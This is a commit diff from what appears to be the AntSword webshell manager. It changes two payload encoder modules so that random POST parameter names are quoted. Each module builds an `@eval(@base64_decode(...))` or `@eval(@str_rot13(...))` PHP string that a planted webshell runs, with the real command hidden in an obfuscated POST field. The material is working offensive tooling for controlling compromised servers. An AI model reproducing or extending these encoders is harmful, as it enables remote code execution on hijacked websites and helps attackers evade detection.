Unverified Commit b226074f authored by Medicean's avatar Medicean Committed by GitHub

Merge pull request #278 from yzddmr6/v2.1.x

变量名添加引号,解决随机变量名为php关键字时出现BUG
parents 773ae504 ac6725bb
...@@ -16,7 +16,7 @@ module.exports = (pwd, data, ext = null) => { ...@@ -16,7 +16,7 @@ module.exports = (pwd, data, ext = null) => {
data[randomID] = Buffer data[randomID] = Buffer
.from(data['_']) .from(data['_'])
.toString('base64'); .toString('base64');
data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`; data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`;
delete data['_']; delete data['_'];
return data; return data;
} }
\ No newline at end of file
...@@ -27,7 +27,7 @@ module.exports = (pwd, data, ext = null) => { ...@@ -27,7 +27,7 @@ module.exports = (pwd, data, ext = null) => {
randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`; randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
} }
data[randomID] = encode(data['_']); data[randomID] = encode(data['_']);
data[pwd] = `@eval(@str_rot13($_POST[${randomID}]));`; data[pwd] = `@eval(@str_rot13($_POST['${randomID}']));`;
delete data['_']; delete data['_'];
return data; return data;
} }
\ No newline at end of file
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment